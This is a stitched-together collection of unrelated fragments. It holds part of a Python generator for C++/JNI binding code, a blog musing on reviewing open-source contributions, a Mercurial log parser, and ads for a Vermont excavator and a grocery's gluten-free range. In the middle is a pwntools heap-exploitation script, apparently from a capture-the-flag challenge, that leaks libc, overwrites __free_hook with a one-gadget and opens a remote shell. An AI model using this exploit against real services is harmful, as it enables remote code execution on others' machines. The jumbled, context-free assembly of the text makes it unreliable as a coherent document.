*t_%s_%s(PyTypeObject *type%s);', names[-1], name, args) else: line(out, indent, 'static PyObject *t_%s_%s(t_%s *self%s);', names[-1], name, names[-1], args) for name, methods in extMethods: args, x, cardinality = methodargs(methods, superMethods) sort(methods, key=lambda x: len(x.getParameterTypes())) method = methods[0] modifiers = method.getModifiers() if name == 'iterator' and iteratorMethod is None: if (not method.getParameterTypes() and iterator.isAssignableFrom(method.getReturnType())): iteratorMethod = method iteratorExt = True elif name == 'next' and nextMethod is None: if (not method.getParameterTypes() and not method.getReturnType().isPrimitive()): nextMethod = method nextExt = True elif name == 'nextElement' and nextElementMethod is None: if (not method.getParameterTypes() and not method.getReturnType().isPrimitive()): nextElementMethod = method nextElementExt = True if isExtension: count = 0 for name, methods in extMethods: for method in methods: line(out, indent, 'static %s JNICALL t_%s_%s%d(JNIEnv *jenv, jobject jobj%s);', jniname(method.getReturnType()), names[-1], name, count, jniargs(method.getParameterTypes())) count += 1 line(out, indent, 'static PyObject *t_%s_get__self(t_%s *self, void *data);', names[-1], names[-1]) if instanceFields: for field in instanceFields: fieldName = field.getName() if fieldName not in properties: line(out, indent, 'static PyObject *t_%s_get__%s(t_%s *self, void *data);', names[-1], fieldName, names[-1]) if not Modifier.isFinal(field.getModifiers()): line(out, indent, 'static int t_%s_set__%s(t_%s *self, PyObject *arg, void *data);', names[-1], field.getName(), names[-1]) line(out) for fieldName, methods in propMethods: getter = False setter = False for method in methods: methodName = method.getName() if not getter and (methodName.startswith('get') or methodName.startswith('is')): getter = True line(out, indent, 'static PyObject *t_%s_get__%s(t_%s *self, void *data);', names[-1], fieldName, names[-1]) elif not setter and methodName.startswith('set'): setter = True line(out, indent, 'static int t_%s_set__%s(t_%s *self, PyObject *arg, void *data);', names[-1], fieldName, names[-1]) if instanceFields or propMethods or isExtension: line(out, indent, 'static PyGetSetDef t_%s__fields_[] = {', names[-1]) for field in instanceFields: fieldName = field.getName() if fieldName not in properties: if Modifier.isFinal(field.getModifiers()): line(out, indent + 1, 'DECLARE_GET_FIELD(t_%s, %s),', names[-1], fieldName) else: line(out, indent + 1, 'DECLARE_GETSET_FIELD(t_%s, %s),', names[-1], fieldName) for fieldName, methods in propMethods: getter = False setter = False for method in methods: methodName = method.getName() if not getter and (methodName.startswith('get') or methodName.startswith('is')): getter = True elif not setter and methodName.startswith('set'): setter = True if getter and setter: op = 'GETSET' elif getter: op = 'GET' elif setter: op = 'SET' line(out, indent + 1, 'DECLARE_%s_FIELD(t_%s, %s),', op, names[-1], fieldName) if isExtension: line(out, indent + 1, 'DECLARE_GET_FIELD(t_%s, self),', names[-1]) line(out, indent + 1, '{ NULL, NULL, NULL, NULL, NULL }') line(out, indent, '};') line(out) line(out, indent, 'static PyMethodDef t_%s__methods_[] = {', names[-1]) if not isExtension: line(out, indent + 1, 'DECLARE_METHOD(t_%s, cast_, METH_O | METH_CLASS),', names[-1]) line(out, indent + 1, 'DECLARE_METHOD(t_%s, instance_, METH_O | METH_CLASS),', names[-1]) for name, methods in allMethods: modifiers = methods[0].getModifiers() if len(methods) == 1 and not name in superMethods: count = len(methods[0].getParameterTypes()) if count == 0: args = 'METH_NOARGS' elif count == 1: args = 'METH_O' else: args = 'METH_VARARGS' elif isExtension and name == 'clone' and Modifier.isNative(modifiers): args = 'METH_O' else: args = 'METH_VARARGS' if Modifier.isStatic(modifiers): args += ' | METH_CLASS' line(out, indent + 1, 'DECLARE_METHOD(t_%s, %s, %s),', names[-1], name, args) line(out, indent + 1, '{ NULL, NULL, 0, NULL }') line(out, indent, '};') if instanceFields or propMethods or isExtension: tp_getset = 't_%s__fields_' %(names[-1]) else: tp_getset = '0' if iteratorMethod: if iteratorExt: tp_iter = 'get_extension_iterator' else: tp_iter = '((PyObject *(*)(t_%s *)) get_iterator<t_%s>)' %(names[-1], names[-1]) tp_iternext = '0' elif nextMethod and iterator.isAssignableFrom(cls): tp_iter = 'PyObject_SelfIter' returnName = typename(nextMethod.getReturnType(), cls, False) ns, sep, n = rpartition(returnName, '::') if nextExt: tp_iternext = 'get_extension_next' else: tp_iternext = '((PyObject *(*)(java::util::t_Iterator *)) get_iterator_next<java::util::t_Iterator,%s%st_%s,%s>)' %(ns, sep, n, returnName) elif nextElementMethod and enumeration.isAssignableFrom(cls): tp_iter = 'PyObject_SelfIter' returnName = typename(nextElementMethod.getReturnType(), cls, False) ns, sep, n = rpartition(returnName, '::') if nextElementExt: tp_iternext = 'get_extension_nextElement' else: tp_iternext = '((PyObject *(*)(java::util::t_Enumeration *)) get_enumeration_next<java::util::t_Enumeration,%s%st_%s,%s>)' %(ns, sep, n, returnName) elif nextMethod: tp_iter = 'PyObject_SelfIter' returnName = typename(nextMethod.getReturnType(), cls, False) ns, sep, n = rpartition(returnName, '::') if nextExt: tp_iternext = 'get_extension_next' else: tp_iternext = '((PyObject *(*)(t_%s *)) get_next<t_%s,%s%st_%s,%s>)' %(names[-1], names[-1], ns, sep, n, returnName) else: tp_iter = '0' tp_iternext = '0' if mappingMethod: method, cardinality = mappingMethod if cardinality > 1: getName = 't_%s_%s_map_' %(names[-1], method.getName()) line(out, indent, 'static PyObject *%s(t_%s *self, PyObject *key);', getName, names[-1]) else: getName = 't_%s_%s' %(names[-1], method.getName()) line(out) line(out, indent, 'static PyMappingMethods t_%s_as_mapping = {', names[-1]) line(out, indent + 1, '0,') line(out, indent + 1, '(binaryfunc) %s,', getName) line(out, indent + 1, '0,') line(out, indent, '};') tp_as_mapping = '&t_%s_as_mapping' %(names[-1]) else: tp_as_mapping = '0' if sequenceLenMethod or sequenceGetMethod: if sequenceLenMethod: method, cardinality = sequenceLenMethod lenName = 't_%s_%s_seq_' %(names[-1], method.getName()) line(out, indent, 'static int %s(t_%s *self);', lenName, names[-1]) else: lenName = '0' if sequenceGetMethod: method, cardinality = sequenceGetMethod getName = 't_%s_%s_seq_' %(names[-1], method.getName()) line(out, indent, 'static PyObject *%s(t_%s *self, int n);', getName, names[-1]) else: getName = '0' line(out) line(out, indent, 'static PySequenceMethods t_%s_as_sequence = {', names[-1]) if python_ver < '2.5.0': line(out, indent + 1, '(inquiry) %s,', lenName) line(out, indent + 1, '0,') line(out, indent + 1, '0,') line(out, indent + 1, '(intargfunc) %s', getName) line(out, indent, '};') else: line(out, indent + 1, '(lenfunc) %s,', lenName) line(out, indent + 1, '0,') line(out, indent + 1, '0,') line(out, indent + 1, '(ssizeargfunc) %s', getName) line(out, indent, '};') tp_as_sequence = '&t_%s_as_sequence' %(names[-1]) else: tp_as_sequence = '0' if len(superNames) > 1: base = '::'.join(('::'.join(cppnames(superNames[:-1])), superNames[-1])) else: base = superNames[-1] line(out) line(out, indent, 'DECLARE_TYPE(%s, t_%s, %s, %s, %s, %s, %s, %s, %s, %s);', names[-1], names[-1], base, cppname(names[-1]), constructorName, tp_iter, tp_iternext, tp_getset, tp_as_mapping, tp_as_sequence) line(out) line(out, indent, 'void t_%s::install(PyObject *module)', names[-1]) line(out, indent, '{') line(out, indent + 1, 'installType(&%s$$Type, module, "%s", %d);', names[-1], rename or names[-1], isExtension and 1 or 0) for inner in cls.getDeclaredClasses(): if inner in typeset: if Modifier.isStatic(inner.getModifiers()): innerName = inner.getName().split('.')[-1] line(out, indent + 1, 'PyDict_SetItemString(%s$$Type.tp_dict, "%s", make_descriptor(&%s$$Type));', names[-1], innerName[len(names[-1])+1:], innerName) line(out, indent, '}') line(out) line(out, indent, 'void t_%s::initialize(PyObject *module)', names[-1]) line(out, indent, '{') line(out, indent + 1, 'PyDict_SetItemString(%s$$Type.tp_dict, "class_", make_descriptor(%s::initializeClass));', names[-1], cppname(names[-1])) line(out, indent + 1, 'PyDict_SetItemString(%s$$Type.tp_dict, "wrapfn_", make_descriptor(t_%s::wrap_jobject));', names[-1], names[-1]) if isExtension: line(out, indent + 1, 'jclass cls = %s::initializeClass();', cppname(names[-1])) elif fields: line(out, indent + 1, '%s::initializeClass();', cppname(names[-1])) if isExtension: count = 0 line(out, indent + 1, 'JNINativeMethod methods[] = {') for name, methods in extMethods: for method in methods: line(out, indent + 2, '{ "%s", "%s", (void *) t_%s_%s%d },', name, signature(method), names[-1], name, count) count += 1 line(out, indent + 1, '};') line(out, indent + 1, 'env->registerNatives(cls, methods, %d);', count) for field in fields: fieldType = field.getType() fieldName = field.getName() value = '%s::%s' %(cppname(names[-1]), cppname(fieldName)) value = fieldValue(cls, value, fieldType) line(out, indent + 1, 'PyDict_SetItemString(%s$$Type.tp_dict, "%s", make_descriptor(%s));', names[-1], fieldName, value) line(out, indent, '}') if not isExtension: line(out) line(out, indent, 'static PyObject *t_%s_cast_(PyTypeObject *type, PyObject *arg)', names[-1]) line(out, indent, '{') line(out, indent + 1, 'if (!(arg = castCheck(arg, %s::initializeClass, 1)))', cppname(names[-1])) line(out, indent + 2, 'return NULL;') line(out, indent + 1, 'return t_%s::wrap_Object(%s(((t_%s *) arg)->object.this$));', names[-1], cppname(names[-1]), names[-1]) line(out, indent, '}') line(out, indent, 'static PyObject *t_%s_instance_(PyTypeObject *type, PyObject *arg)', names[-1]) line(out, indent, '{') line(out, indent + 1, 'if (!castCheck(arg, %s::initializeClass, 0))', cppname(names[-1])) line(out, indent + 2, 'Py_RETURN_FALSE;') line(out, indent + 1, 'Py_RETURN_TRUE;') line(out, indent, '}') if constructors: line(out) line(out, indent, 'static int t_%s_init_(t_%s *self, PyObject *args, PyObject *kwds)', names[-1], names[-1]) line(out, indent, '{') if len(constructors) > 1: currLen = -1 line(out, indent + 1, 'switch (PyTuple_GET_SIZE(args)) {') withErr = False for constructor in constructors: params = constructor.getParameterTypes() if len(params) != currLen: if currLen >= 0: withErr = True line(out, indent + 2, 'goto err;') currLen = len(params) line(out, indent + 1, '%scase %d:', HALF_INDENT, currLen) construct(out, indent + 2, cls, True, constructor, names) line(out, indent + 1, '%sdefault:', HALF_INDENT) if withErr: line(out, indent + 1, '%serr:', HALF_INDENT) line(out, indent + 2, 'PyErr_SetArgsError((PyObject *) self, "__init__", args);') line(out, indent + 2, 'return -1;') line(out, indent + 1, '}') else: construct(out, indent + 1, cls, False, constructors[0], names) if constructors[0].getParameterTypes(): line(out, indent + 1, 'else') line(out, indent + 1, '{') line(out, indent + 2, 'PyErr_SetArgsError((PyObject *) self, "__init__", args);') line(out, indent + 2, 'return -1;') line(out, indent + 1, '}') if isExtension: line(out) line(out, indent + 1, 'Py_INCREF((PyObject *) self);') line(out, indent + 1, 'self->object.pythonExtension((jlong) (Py_intptr_t) (void *) self);') line(out) line(out, indent + 1, 'return 0;') line(out, indent , '}') for name, methods in allMethods: line(out) modifiers = methods[0].getModifiers() if isExtension and name == 'clone' and Modifier.isNative(modifiers): declargs, args, cardinality = ', PyObject *arg', ', arg', 1 else: declargs, args, cardinality = methodargs(methods, superMethods) static = Modifier.isStatic(modifiers) if static: line(out, indent, 'static PyObject *t_%s_%s(PyTypeObject *type%s)', names[-1], name, declargs) else: line(out, indent, 'static PyObject *t_%s_%s(t_%s *self%s)', names[-1], name, names[-1], declargs) line(out, indent, '{') if len(methods) > 1: currLen = -1 line(out, indent + 1, 'switch (PyTuple_GET_SIZE(args)) {') for method in methods: params = method.getParameterTypes() if len(params) != currLen: if currLen >= 0: line(out, indent + 2, 'break;') currLen = len(params) line(out, indent + 1, '%scase %d:', HALF_INDENT, currLen) call(out, indent + 2, cls, True, method, names, cardinality, isExtension) line(out, indent + 1, '}') else: call(out, indent + 1, cls, False, methods[0], names, cardinality, isExtension) if args: line(out) if name in superMethods: if static: line(out, indent + 1, 'return callSuper(type, "%s"%s, %d);', name, args, cardinality) else: line(out, indent + 1, 'return callSuper(&%s$$Type, (PyObject *) self, "%s"%s, %d);', names[-1], name, args, cardinality) else: line(out, indent + 1, 'PyErr_SetArgsError(%s, "%s"%s);', static and 'type' or '(PyObject *) self', name, args) line(out, indent + 1, 'return NULL;') line(out, indent, '}') if isExtension: count = 0 for name, methods in extMethods: for method in methods: line(out) line(out, indent, 'static %s JNICALL t_%s_%s%d(JNIEnv *jenv, jobject jobj%s)', jniname(method.getReturnType()), names[-1], name, count, jniargs(method.getParameterTypes())) count += 1 line(out, indent, '{') extension(env, out, indent + 1, cls, names, name, count, method) line(out, indent, '}') line(out) line(out, indent, 'static PyObject *t_%s_get__self(t_%s *self, void *data)', names[-1], names[-1]) line(out, indent, '{') indent += 1 line(out, indent, 'jlong ptr;') line(out, indent, 'OBJ_CALL(ptr = self->object.pythonExtension());') line(out, indent, 'PyObject *obj = (PyObject *) (Py_intptr_t) ptr;') line(out) line(out, indent, 'if (obj != NULL)') line(out, indent, '{') line(out, indent + 1, 'Py_INCREF(obj);') line(out, indent + 1, 'return obj;') line(out, indent, '}') line(out, indent, 'else') line(out, indent + 1, 'Py_RETURN_NONE;') indent -= 1 line(out, indent, '}') if instanceFields: for field in instanceFields: fieldName = field.getName() if fieldName not in properties: line(out) fieldType = field.getType() typeName = typename(fieldType, cls, False) line(out, indent, 'static PyObject *t_%s_get__%s(t_%s *self, void *data)', names[-1], fieldName, names[-1]) line(out, indent, '{') line(out, indent + 1, '%s value%s;', typeName, not fieldType.isPrimitive() and '((jobject) NULL)' or '') line(out, indent + 1, 'OBJ_CALL(value = self->object._get_%s());', fieldName) line(out, indent + 1, returnValue(cls, fieldType, 'value')) line(out, indent, '}') if not Modifier.isFinal(field.getModifiers()): line(out, indent, 'static int t_%s_set__%s(t_%s *self, PyObject *arg, void *data)', names[-1], fieldName, names[-1]) line(out, indent, '{') line(out, indent + 1, '%s value%s;', typeName, not fieldType.isPrimitive() and '((jobject) NULL)' or '') sig, check, x = parseArgs([fieldType], cls) line(out, indent + 1, 'if (!parseArg(arg, "%s"%s, &value))', sig, check) line(out, indent + 1, '{') line(out, indent + 2, 'INT_CALL(self->object._set_%s(value));', fieldName) line(out, indent + 2, 'return 0;') line(out, indent + 1, '}') line(out, indent + 1, 'PyErr_SetArgsError((PyObject *) self, "%s", arg);', fieldName) line(out, indent + 1, 'return -1;') line(out, indent, '}') if propMethods: for fieldName, methods in propMethods: line(out) getter = None setters = [] sort(methods, key=lambda x: x.getName()) for method in methods: methodName = method.getName() if not getter and (methodName.startswith('get') or methodName.startswith('is')): getter = method elif methodName.startswith('set'): setters.append(method) if getter: methodName = getter.getName() returnType = getter.getReturnType() typeName = typename(returnType, cls, False) line(out, indent, 'static PyObject *t_%s_get__%s(t_%s *self, void *data)', names[-1], fieldName, names[-1]) line(out, indent, '{') line(out, indent + 1, '%s value%s;', typeName, not returnType.isPrimitive() and '((jobject) NULL)' or '') line(out, indent + 1, 'OBJ_CALL(value = self->object.%s());', methodName) line(out, indent + 1, returnValue(cls, returnType, 'value')) line(out, indent, '}') if setters: line(out, indent, 'static int t_%s_set__%s(t_%s *self, PyObject *arg, void *data)', names[-1], fieldName, names[-1]) line(out, indent, '{') methodName = setters[0].getName() for method in setters: argType = method.getParameterTypes()[0] typeName = typename(argType, cls, False) line(out, indent + 1, '{') line(out, indent + 2, '%s value%s;', typeName, not argType.isPrimitive() and '((jobject) NULL)' or '') sig, check, x = parseArgs([argType], cls) line(out, indent + 2, 'if (!parseArg(arg, "%s"%s, &value))', sig, check) line(out, indent + 2, '{') line(out, indent + 3, 'INT_CALL(self->object.%s(value));', methodName) line(out, indent + 3, 'return 0;') line(out, indent + 2, '}') line(out, indent + 1, '}') line(out, indent + 1, 'PyErr_SetArgsError((PyObject *) self, "%s", arg);', fieldName) line(out, indent + 1, 'return -1;') line(out, indent, '}') if mappingMethod: method, cardinality = mappingMethod if cardinality > 1: methodName = method.getName() getName = 't_%s_%s_map_' %(names[-1], methodName) line(out) line(out, indent, 'static PyObject *%s(t_%s *self, PyObject *arg)', getName, names[-1]) line(out, indent, '{') call(out, indent + 1, cls, False, method, names, 1, isExtension) line(out) line(out, indent + 1, 'PyErr_SetArgsError((PyObject *) self, "%s", arg);', methodName) line(out, indent + 1, 'return NULL;') line(out, indent, '}') if sequenceLenMethod: method, cardinality = sequenceLenMethod methodName = method.getName() lenName = 't_%s_%s_seq_' %(names[-1], methodName) line(out) line(out, indent, 'static int %s(t_%s *self)', lenName, names[-1]) line(out, indent, '{') line(out, indent + 1, '%s len;', typename(method.getReturnType(), cls, False)) line(out, indent + 1, 'INT_CALL(len = self->object.%s());', methodName) line(out, indent + 1, 'return (int) len;') line(out, indent, '}') if sequenceGetMethod: method, cardinality = sequenceGetMethod methodName = method.getName() returnType = method.getReturnType() getName = 't_%s_%s_seq_' %(names[-1], methodName) line(out) line(out, indent, 'static PyObject *%s(t_%s *self, int n)', getName, names[-1]) line(out, indent, '{') line(out, indent + 1, '%s result%s;', typename(returnType, cls, False), not returnType.isPrimitive() and '((jobject) NULL)' or '') line(out, indent + 1, 'OBJ_CALL(result = self->object.%s((%s) n));', methodName, typename(method.getParameterTypes()[0], cls, False)) line(out, indent + 1, returnValue(cls, returnType, 'result')) line(out, indent, '}') while indent: indent -= 1 line(out, indent, '}') def package(out, allInOne, cppdir, namespace, names): if not allInOne: out = file(os.path.join(os.path.join(cppdir, *names), '__init__.cpp'), 'w') if allInOne and not names or not allInOne: line(out, 0, '#include <jni.h>') line(out, 0, '#include <Python.h>') line(out, 0, '#include "JCCEnv.h"') line(out, 0, '#include "functions.h"') if not names: line(out) line(out, 0, 'PyObject *initVM(PyObject *module, PyObject *args, PyObject *kwds);') packages = [] types = [] namespaces = namespace.items() sort(namespaces, key=lambda x: x[0]) for name, entries in namespaces: if entries is True: if names: line(out, 0, '#include "%s/%s.h"', '/'.join(names), name) else: line(out, 0, '#include "%s.h"', name) types.append(name) else: packages.append((name, entries)) indent = 0 if names: line(out) for name in names: line(out, indent, 'namespace %s {', cppname(name)) indent += 1 line(out); for name, entries in packages: line(out, indent, 'namespace %s {', cppname(name)) line(out, indent + 1, 'void __install__(PyObject *module);') line(out, indent + 1, 'void __initialize__(PyObject *module);') line(out, indent, '}') line(out) line(out, indent, 'void __install__(PyObject *module)') line(out, indent, '{') for name in types: line(out, indent + 1, 't_%s::install(module);', name) for name, entries in packages: line(out, indent + 1, '%s::__install__(module);', cppname(name)) line(out, indent, '}') line(out) if not names: line(out, indent, 'PyObject *__initialize__(PyObject *module, PyObject *args, PyObject *kwds)') line(out, indent, '{') line(out, indent + 1, 'PyObject *env = initVM(module, args, kwds);') line(out) line(out, indent + 1, 'if (env == NULL)') line(out, indent + 2, 'return NULL;') line(out) line(out, indent + 1, 'try {'); indent += 1 else: line(out, indent, 'void __initialize__(PyObject *module)') line(out, indent, '{') for name in types: line(out, indent + 1, 't_%s::initialize(module);', name) for name, entries in packages: line(out, indent + 1, '%s::__initialize__(module);', cppname(name)) if not names: line(out, indent + 1, 'return env;') indent -= 1 line(out, indent + 1, '} catch (JCCEnv::exception e) {') line(out, indent + 2, 'PyErr_SetJavaError(e.throwable);') line(out, indent + 2, 'return NULL;') line(out, indent + 1, '}') line(out, indent, '}') while indent: indent -= 1 line(out, indent, '}') if not allInOne: out.close() else: line(out) for name, entries in packages: package(out, allInOne, cppdir, entries, names + (name,)) def module(out, allInOne, classes, cppdir, moduleName, shared): extname = '_%s' %(moduleName) line(out, 0, '#include <Python.h>') line(out, 0, '#include "macros.h"') line(out, 0, '#include "jccfuncs.h"') if allInOne: out_init = file(os.path.join(cppdir, '__init__.cpp'), 'w') namespaces = {} for cls in classes: namespace = namespaces classNames = cls.getName().split('.') for className in classNames[:-1]: namespace = namespace.setdefault(className, {}) namespace[classNames[-1]] = True if allInOne: package(out_init, True, cppdir, namespaces, ()) out_init.close() else: package(None, False, cppdir, namespaces, ()) line(out) line(out, 0, 'PyObject *initJCC(PyObject *module);') line(out, 0, 'void __install__(PyObject *module);') line(out, 0, 'extern PyTypeObject JObject$$Type, ConstVariableDescriptor$$Type, FinalizerClass$$Type, FinalizerProxy$$Type;') line(out, 0, 'extern void _install_jarray(PyObject *);') line(out) line(out, 0, 'extern "C" {') line(out) line(out, 1, 'void init%s(void)', extname) line(out, 1, '{') line(out, 2, 'PyObject *module = Py_InitModule3("%s", jcc_funcs, "");', extname); line(out) line(out, 2, 'initJCC(module);') line(out) line(out, 2, 'INSTALL_TYPE(JObject, module);') line(out, 2, 'INSTALL_TYPE(ConstVariableDescriptor, module);') line(out, 2, 'INSTALL_TYPE(FinalizerClass, module);') line(out, 2, 'INSTALL_TYPE(FinalizerProxy, module);') line(out, 2, '_install_jarray(module);') line(out, 2, '__install__(module);') line(out, 1, '}') line(out, 0, '}') def compile(env, jccPath, output, moduleName, install, dist, debug, jars, version, prefix, root, install_dir, use_distutils, shared, compiler, modules, wininst): try: if use_distutils: raise ImportError from setuptools import setup, Extension with_setuptools = True if shared and not SHARED: raise NotImplementedError, "JCC was not built with --shared mode support, see JCC's INSTALL file for more information" except ImportError: if python_ver < '2.4': raise ImportError, 'setuptools is required when using Python 2.3' if shared: raise ImportError, 'setuptools is required when using --shared' from distutils.core import setup, Extension with_setuptools = False extname = '_%s' %(moduleName) modulePath = os.path.join(output, moduleName) if not os.path.isdir(modulePath): os.makedirs(modulePath) out = file(os.path.join(modulePath, '__init__.py'), 'w') line(out) if shared: line(out, 0, "import os, sys") line(out) line(out, 0, "if sys.platform == 'win32':") line(out, 1, "import jcc, %s", extname) line(out, 0, "else:") line(out, 1, "import %s", extname) else: line(out, 0, 'import os, %s', extname) line(out) line(out, 0, '__dir__ = os.path.abspath(os.path.dirname(__file__))') package_data = [] for jar in jars: shutil.copy2(jar, modulePath) package_data.append(os.path.basename(jar)) if modules: for module in modules: pfile = module.split('.')[0] + '.py' shutil.copy2(pfile, modulePath) pfile = os.path.basename(pfile) cfile = pfile + (__debug__ and 'c' or 'o') py_compile.compile(os.path.join(modulePath, pfile), os.path.join(modulePath, cfile), doraise=True) line(out) line(out, 0, 'class JavaError(Exception):') line(out, 1, 'def getJavaException(self):') line(out, 2, 'return self.args[0]') line(out, 1, 'def __str__(self):') line(out, 2, 'writer = %s.StringWriter()', extname) line(out, 2, 'self.getJavaException().printStackTrace(%s.PrintWriter(writer))', extname) line(out, 2, 'return "\\n".join((super(JavaError, self).__str__(), " Java stacktrace:", str(writer)))') line(out) line(out, 0, 'class InvalidArgsError(Exception):') line(out, 1, 'pass') line(out) line(out, 0, '%s._setExceptionTypes(JavaError, InvalidArgsError)', extname) if version: line(out) line(out, 0, 'VERSION = "%s"', version) line(out, 0, 'CLASSPATH = [%s]' %(', '.join(['os.path.join(__dir__, "%s")' %(os.path.basename(jar)) for jar in jars]))) line(out, 0, 'CLASSPATH = os.pathsep.join(CLASSPATH)') line(out) line(out, 0, 'from %s import *', extname) out.close() includes = [os.path.join(output, extname), os.path.join(jccPath, 'sources')] sources = ['JObject.cpp', 'JArray.cpp', 'functions.cpp', 'types.cpp'] if not shared: sources.append('jcc.cpp') sources.append('JCCEnv.cpp') for source in sources: shutil.copy2(os.path.join(jccPath, 'sources', source), os.path.join(output, extname)) sources = [] for path, dirs, names in os.walk(os.path.join(output, extname)): for name in names: if name.endswith('.cpp'): sources.append(os.path.join(path, name)) script_args = ['build_ext'] includes[0:0] = INCLUDES compile_args = CFLAGS link_args = LFLAGS defines=['PYTHON'] if compiler: script_args.append('--compiler=%s' %(compiler)) if shared: defines.append('_jcc_shared') script_args.append('--define=%s' %(','.join(defines))) if debug: script_args.append('--debug') compile_args += DEBUG_CFLAGS elif sys.platform == 'win32': pass elif sys.platform == 'sunos5': link_args.append('-Wl,-s') else: link_args.append('-Wl,-S') if install: script_args.append('install') if prefix: script_args.append('--prefix=%s' % prefix) if root: script_args.append('--root=%s' % root) if install_dir: script_args.append('--install-lib=%s' % install_dir) if dist: if wininst: script_args.append('bdist_wininst') elif with_setuptools: script_args.append('bdist_egg') else: script_args.append('bdist') args = { 'extra_compile_args': compile_args, 'extra_link_args': link_args, 'include_dirs': includes, 'sources': sources } if shared: shlibdir = os.path.dirname(os.path.dirname(_jcc.__file__)) if sys.platform == 'darwin': # distutils no good with -R machine = platform.machine() if machine.startswith('iPod') or machine.startswith('iPhone'): args['extra_link_args'] += ['-L' + shlibdir] else: args['extra_link_args'] += ['-Wl,-rpath', shlibdir] args['library_dirs'] = [shlibdir] args['libraries'] = ['jcc'] elif sys.platform == 'linux2': # distutils no good with -R args['extra_link_args'] += ['-Wl,-rpath', shlibdir] args['library_dirs'] = [shlibdir] args['libraries'] = ['jcc'] elif sys.platform == 'win32': jcclib = 'jcc%s.lib' %(debug and '_d' or '') args['extra_link_args'] += [os.path.join(shlibdir, 'jcc', jcclib)] else: raise NotImplementedError, "shared mode on %s" %(sys.platform) extensions = [Extension('.'.join([moduleName, extname]), **args)] args = { 'name': moduleName, 'packages': [moduleName], 'package_dir': {moduleName: modulePath}, 'package_data': {moduleName: package_data}, 'version': version, 'ext_modules': extensions, 'script_args': script_args } if with_setuptools: args['zip_safe'] = False setup(**args)
What do I mean here? Well, when you get a contribution it’s pretty rare that the contribution is just perfect and ready to be submitted to the main line. The reality is that you get contributions that generally need some form of tweaking before they are ready for the world. It’s the tweaking where things get interested. There’s two attitudes you can generally take. The first position is you can simply be happy that you got a contribution in the first place and just make the necessary tweaks your self and push it to the mainline. The upside to this is that the contribution actually gets contributed quickly. The downside is that this consumes a bit of your time to polish the contribution and that you may also miss out on the opportunity on cultivating a contributor. The second position is that you can do a thorough review of the patch and force a contributor to polish the contribution to meet your standards. The upside is that your this may result in higher quality patches from contributors in the future. Heck, if contributors become really good, they may even make the jump to a full blown committer on your project. The downside is that patches may go stale because you may discourage contributors if you ask too much from them. I’ve seen both approaches in a variety of open source communities. I’m generally happy just to get a contribution from anyone. I don’t think there’s a silver bullet approach in the way you treat contributors, you probably have to do things on a case-by-case basis. In the end, I felt like I needed to do a brain dump of the discussion I had yesterday. On top of that, I find the question of how to attract contributors without killing all of your time while keeping quality high… just fascinating. What do you think about this problem… from either a developer’s or a contributors perspective?
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = "10.211.55.19" #host = "52.68.236.186" #port = 56746 host = "54.178.132.125" port = 8763 r = remote(host,port) def allocate(size,data): r.recvuntil(":") r.sendline("1") r.recvuntil("e:") r.sendline(str(size)) r.recvuntil("a:") r.send(data) def show(idx): r.recvuntil(":") r.sendline("2") r.recvuntil("x:") r.sendline(str(idx)) def free(idx): r.recvuntil(":") r.sendline("3") r.recvuntil("x:") r.sendline(str(idx)) for i in range(6): allocate(0x80,"a") allocate(0x38,"a") #6 allocate(0x4e0+0x490,"b") #7 allocate(0x410,"c") #8 allocate(0x80,"d") #9 free(7) free(6) allocate(0x68,"c"*0x68) #6 allocate(0x80,"d"*0x78) #7 free(5) allocate(0x60,"da") #5 for i in range(5) : free(i) free(9) free(7) free(8) allocate(0x90,"ccc") allocate(0x7f0-0xa0,"d") allocate(0x50,"d") free(5) allocate(0x30,"a") allocate(0x60,"a") allocate(0x20,"gg") show(4) libc = u64(r.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0x3ebca0 print hex(libc) free_hook = libc + 0x3ed8e8 free(0) allocate(0xa0,"b"*0x70 + p64(free_hook)) allocate(0x90,"b") magic = libc +0x4f322 allocate(0x90,p64(magic)) free(5) r.interactive()
We are one of Southern Vermont’s most reputable excavating contractors, providing quality work for both residential and commercial needs since 1976. With the experience to serve our clients, we offer high quality work at affordable prices, done right the first time. With five excavators, three dump trucks, and much more equipment, we have the equipment and resources to complete your job on time and on budget. Located in Stratton, Vermont, we serve Bennington, Windham, and surrounding counties. Including areas surrounding Stratton and Mt. Snow ski areas.
import os import subprocess from datetime import datetime from changeset_list import ChangesetList from changeset import Changeset class MercurialRepo(object): def __init__(self, repodir): self._repodir = repodir #NOTE: Since a commit may have 0 files changed (merge), we add a preceding # '#' to the lines which contain the description and modified files. #We do this to avoid having 3 consecutive newlines. That would cause a #problem since we're using newlines (and double newlines) as a delimiter. #We use newlines because they will not be present in the description once #we force it to just show the first line and it won't show up in the list #of files either. This way we can get all of the data we need with one #command and we will be able to break it up safely and reliably. def get_full_changesetlist(self, startdate, changeset_list): "return ChangesetList of all changesets since startdate" datestr = startdate.strftime('%Y-%m-%d') hg_format = '{node}\n{date|shortdate}\n#{desc|firstline}\n#{files}\n\n' cmd = 'hg log -d ">' + datestr + '" --template "' + hg_format + '"' result = self.get_command_output(cmd) self._populate_changeset_list(result, changeset_list) def _populate_changeset_list(self, full_logoutput, changeset_list): for nodeblock in full_logoutput.split("\n\n"): changeset = self._create_single_changeset(nodeblock) if changeset is not None: changeset_list.add(changeset) def _create_single_changeset(self, logoutput): if logoutput.strip() == '': return None (commitid, datestr, desc, files) = [ x.strip() for x in logoutput.split("\n", 3) ] #remove those awkward prefixed # characters desc = desc[1:].strip() files = files[1:].strip() date = datetime.strptime(datestr, '%Y-%m-%d') #create the base changeset changeset = Changeset(commitid, date, desc) #add the modified files to the changeset if files.strip() != '': for filename in files.split(' '): changeset.add_modified_file(filename) return changeset def get_command_output(self, cmd): "run a shell command and get the output" oldpath = os.getcwd() os.chdir(self._repodir) proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) result = proc.communicate()[0] os.chdir(oldpath) return result
Those with coeliac disease are guaranteed to strike gold on the shelves of Colleyville Farmers Market Inc: where gluten-free products are clearly placed. Colleyville Farmers Market Inc offers a fine range of gluten-free foods and a balanced gluten-free diet for people with coeliac disease. Gluten-free products are explicitly labelled. Many "normal" food can be also gluten-free: if they do contain any gluten, in is indicated in the list of ingredients. People with coeliac disease can look forward to top quality!
